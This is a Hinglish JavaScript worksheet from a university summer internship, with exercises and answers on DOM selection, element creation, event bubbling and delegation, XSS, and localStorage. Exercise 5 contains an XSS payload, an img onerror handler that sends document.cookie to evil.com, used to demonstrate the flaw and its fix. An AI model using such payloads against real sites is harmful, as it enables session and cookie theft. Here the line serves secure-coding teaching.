DAY 5 · DOM & EVENTS

LIVE PRACTICE

Geeta University · Summer Internship 2026

Instructions

6 exercises — DOM selection se lekar localStorage persistence tak.

★ marked exercises interview mein often pooche jaate hain.

Ek HTML file mein test karo — browser console khol kar verify karo.

Exercise 1 — Selectors & Traversal Practice

Concept: querySelector / Traversal **Task:** Neeche diye HTML structure ke liye selectors likho:

```
<!-- HTML structure -->
<div class='card' id='card-1'>
<h3 class='title'>Product A</h3>
<p class='price'>Rs.999</p>
<div class='actions'>
<button class='btn buy'>Buy</button>
<button class='btn wishlist'>Wishlist</button>
</div>
</div>
// Task 1: Select the card by id
const card = document.querySelector('#card-1');
// Task 2: Select the title INSIDE this card
const title = card.querySelector('.title');
title.textContent; // 'Product A'
// Task 3: Select ALL buttons inside .actions
const buttons = card.querySelectorAll('.actions .btn');
buttons.length; // 2
// Task 4: From 'buy' button, get the price using traversal
const buyBtn = card.querySelector('.buy');
const price = buyBtn
.closest('.card') // go up to card
.querySelector('.price'); // then find price
price.textContent; // 'Rs.999'
// Task 5: From title, get next sibling (price)
const priceSibling = title.nextElementSibling;
priceSibling.textContent; // 'Rs.999'
```

Key Insight / Answer

closest() upward jaata hai, querySelector() downward — combine karke kahin se bhi reach karo.

nextElementSibling/previousElementSibling — same level pe adjacent elements.

card.querySelector() — sirf card ke ANDAR search karta hai, document.querySelector() entire page mein.

Exercise 2 ★ — Build & Insert Elements Dynamically

Concept: createElement / append **Task:** Ek product list dynamically render karo — array of objects se DOM elements banao:

```
const products = [
{ id:1, name:'Laptop', price:55000, stock: 5 },
{ id:2, name:'Mouse', price:499, stock: 0 },
{ id:3, name:'Keyboard',price:1500, stock: 12 },
];
function renderProducts(products, container) {
container.innerHTML = ''; // clear existing (safe, no user data)
products.forEach(p => {
const card = document.createElement('div');
card.className = 'product-card';
card.dataset.id = p.id;
const name = document.createElement('h3');
name.textContent = p.name; // safe — textContent
const price = document.createElement('p');
price.textContent = `Rs.${p.price.toLocaleString('en-IN')}`;
const stockBadge = document.createElement('span');
stockBadge.className = p.stock > 0 ? 'in-stock' : 'out-of-stock';
stockBadge.textContent = p.stock > 0 ? `${p.stock} left` : 'Out of stock';
const btn = document.createElement('button');
btn.textContent = 'Add to Cart';
btn.disabled = p.stock === 0;
btn.className = 'add-btn';
card.append(name, price, stockBadge, btn); // append all at once
container.append(card);
});
}
renderProducts(products, document.querySelector('.product-list'));
// Renders 3 product cards — Mouse has disabled 'Add to Cart' button
```

Key Insight / Answer

append() multiple nodes ek call mein — appendChild() ek baar mein ek hi.

textContent use karo for safety — even though data hardcoded hai, habit good hai.

innerHTML = '' clear karne ke liye OK hai (no user data involved, just clearing).

Conditional className/disabled — dynamic styling/behavior based on data.

Exercise 3 ★ — Bubbling Order Predict Karo

Concept: Event Bubbling **Task:** Click event ka exact execution order predict karo:

```
<!-- HTML -->
<div id='grandparent'>
<div id='parent'>
<button id='child'>Click Me</button>
</div>
</div>

const gp = document.getElementById('grandparent');
const p = document.getElementById('parent');
const c = document.getElementById('child');

gp.addEventListener('click', () => console.log('1: grandparent'));
p.addEventListener('click', () => console.log('2: parent'));
c.addEventListener('click', () => console.log('3: child'));

// Q1: User clicks the button. What's the console output order?

// Now add stopPropagation in parent:
p.addEventListener('click', (e) => {
console.log('parent with stop');
e.stopPropagation();
});

// Q2: Now what's the output order when button clicked?

// Now add a capturing listener:
gp.addEventListener('click', () => console.log('CAPTURE: grandparent'), true);

// Q3: With ALL listeners (including stopPropagation in parent),
// what's the FULL output order now?
```

Key Insight / Answer

Q1: '3: child' -> '2: parent' -> '1: grandparent' (bubbling: target to root)

Q2: '3: child' -> '2: parent' -> 'parent with stop' (stopPropagation stops at parent — grandparent never fires!)

Q3: 'CAPTURE: grandparent' -> '3: child' -> '2: parent' -> 'parent with stop'

(capture goes root->target first, then bubble starts but stops at parent)

Exercise 4 ★ — Event Delegation: Dynamic Todo List

Concept: Event Delegation **Task:** Ek todo list banao jisme add/delete/toggle sab event delegation se ho — single listener:

```
// HTML
// <ul id='todo-list'></ul>
// <input id='todo-input'><button id='add-btn'>Add</button>
const list = document.getElementById('todo-list');
const input = document.getElementById('todo-input');
const addBtn = document.getElementById('add-btn');
function createTodoItem(text) {
const li = document.createElement('li');
li.className = 'todo-item';
const span = document.createElement('span');
span.textContent = text; // safe with user input!
span.className = 'todo-text';
const delBtn = document.createElement('button');
delBtn.textContent = '✕';
delBtn.className = 'delete-btn';
li.append(span, delBtn);
return li;
}
// Add new todo
addBtn.addEventListener('click', () => {
const text = input.value.trim();
if (!text) return;
list.append(createTodoItem(text));
input.value = '';
});
// ■■ SINGLE delegated listener for toggle + delete ■■■■■■■■■■■■
list.addEventListener('click', (e) => {
const li = e.target.closest('.todo-item');
if (!li) return;
if (e.target.matches('.delete-btn')) {
li.remove(); // delete
} else if (e.target.matches('.todo-text')) {
li.classList.toggle('completed'); // toggle done
}
});
// Bonus: Enter key to add
input.addEventListener('keydown', (e) => {
if (e.key === 'Enter') addBtn.click();
});
```

Key Insight / Answer

List pe ek hi listener — toggle aur delete dono handle karta hai.

Naye items add karne ke baad bhi listener kaam karta hai — no re-attachment needed.

e.target.matches('.delete-btn') — kaunsa specific element clicked check karta hai.

span.textContent — XSS-safe even agar user koi bhi text type kare.

Exercise 5 — innerHTML XSS Demo & Fix

Concept: innerHTML vs textContent **Task:** Comment system mein XSS vulnerability identify karo aur fix karo:

```
// ■ VULNERABLE comment renderer
function renderCommentUnsafe(comment) {
const div = document.createElement('div');
div.className = 'comment';
div.innerHTML = `
<strong>${comment.author}</strong>
<p>${comment.text}</p>
`;
return div;
}
// Attacker submits this as comment.text:
const malicious = {
author: 'Hacker',
text: '<img src=x onerror="fetch(`//evil.com?cookie=${document.cookie}`)">'
};
renderCommentUnsafe(malicious);
// onerror fires immediately — cookie sent to attacker's server!
// ■ FIXED comment renderer
function renderCommentSafe(comment) {
const div = document.createElement('div');
div.className = 'comment';
const author = document.createElement('strong');
author.textContent = comment.author; // safe!
const text = document.createElement('p');
text.textContent = comment.text; // safe!
div.append(author, text);
return div;
}
renderCommentSafe(malicious);
// Renders the <img> tag AS TEXT — no execution!
// Shows literally: <img src=x onerror=...>
// If you NEED to render limited HTML (e.g. markdown -> bold/italic):
// Use a sanitization library: DOMPurify.sanitize(html)
// const safe = DOMPurify.sanitize(comment.text);
// div.innerHTML = safe; // now safe — script tags stripped
```

Key Insight / Answer

> Rule: user-generated content -> textContent/createElement. NEVER raw innerHTML.
>
> onerror, onload, onclick attributes — common XSS vectors via img/svg/iframe tags.
>
> DOMPurify — industry-standard library jab rich text (HTML) display karna ho.
>
> Template literals mein interpolation se innerHTML use karna especially risky hai.

Exercise 6 ★ — LocalStorage Persistence Challenge

Concept: LocalStorage **Task:** Settings panel banao jo theme aur preferences localStorage mein save kare:

```
const STORAGE_KEY = 'app-settings';
const DEFAULTS = { theme: 'light', fontSize: 16, notifications: true };
// Load with fallback to defaults
function loadSettings() {
try {
const raw = localStorage.getItem(STORAGE_KEY);
return raw ? { ...DEFAULTS, ...JSON.parse(raw) } : { ...DEFAULTS };
} catch {
console.warn('Corrupted settings, using defaults');
return { ...DEFAULTS };
}
}
function saveSettings(settings) {
localStorage.setItem(STORAGE_KEY, JSON.stringify(settings));
}
let settings = loadSettings();
function applyTheme(theme) {
document.body.className = `theme-${theme}`;
}
// Apply on load
applyTheme(settings.theme);
document.documentElement.style.fontSize = `${settings.fontSize}px`;
// Theme toggle button
document.querySelector('#theme-toggle').addEventListener('click', () => {
settings.theme = settings.theme === 'light' ? 'dark' : 'light';
applyTheme(settings.theme);
saveSettings(settings);
});
// Font size slider
document.querySelector('#font-slider').addEventListener('input', (e) => {
settings.fontSize = +e.target.value;
document.documentElement.style.fontSize = `${settings.fontSize}px`;
saveSettings(settings);
});
// Reset to defaults
document.querySelector('#reset-btn').addEventListener('click', () => {
settings = { ...DEFAULTS };
applyTheme(settings.theme);
document.documentElement.style.fontSize = `${settings.fontSize}px`;
saveSettings(settings);
});
```

Key Insight / Answer

{ ...DEFAULTS, ...JSON.parse(raw) } — spread merge: stored settings DEFAULTS ko override karte hain, missing keys defaults se aati hain.

try/catch zaroori — agar localStorage corrupted/manually edited ho to crash na ho.

Settings reload pe persist hote hain — page refresh karke verify karo!

input event (not change) — slider drag karte waqt real-time update.